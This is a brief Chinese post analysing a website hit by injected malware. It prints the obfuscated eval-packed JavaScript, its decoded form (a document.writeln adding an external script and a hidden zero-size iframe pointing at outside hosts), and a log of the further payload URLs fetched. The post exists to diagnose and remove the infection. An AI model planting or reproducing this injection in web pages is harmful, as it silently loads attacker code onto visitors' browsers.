被挂马
看一下
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('8.o(\'<k f=d l=b://h.j.7/5/g.e?3></k><c 9=0 n=0 l="b://p.m.6/i/1/q.a?4嚄2"></c& gt;\')',62,27,'|2008|4|44|7|ask|cc|com|document|height|htm|http|iframe|javascript|js|language|log|lx|new|niupan|script|src|taozhi|width|writeln|www|yt'.split('|'),0,{}));}
这是段eval加密,解密后得到
document.writeln('<script language=javascript src=http://lx.niupan.com/ask/log.js?44></script><iframe height=0 width=0 src="http://www.taozhi.cc/new/2008/yt.htm?7?"></iframe& undefined;')
关于:解密的日志(全体输出 - 13):
Level 1>http://lx.niupan.com/ask/log.js?44
Level 2>http://web.51.la/go.asp?svid=8&id=3383360&tpages=+a3360ops+&ttimes=+a3360ot+&tzone=+
Level 2>http://lx.niupan.com/biyunchangshi/guagua/yt.htm?9嚄4
Level 3>http://lx.niupan.com/biyunchangshi/guagua/kl.jpg
Level 3>http://lx.niupan.com/biyunchangshi/guagua/rl.jpg
Level 3>http://lx.niupan.com/biyunchangshi/guagua/ml.jpg
Level 3>http://lx.niupan.com/biyunchangshi/guagua/nop.jpg
Level 1>http://www.taozhi.cc/new/2008/yt.htm?7嚄4
Level 2>http://www.taozhi.cc/new/2009/yt.htm?914
Level 3>http://www.taozhi.cc/new/2009/kl.jpg
Level 3>http://www.taozhi.cc/new/2009/rl.jpg
Level 3>http://www.taozhi.cc/new/2009/ml.jpg
Level 3>http://www.taozhi.cc/new/2009/nop.jpg
analyzed by 是昔流芳
把这样的eval清除即可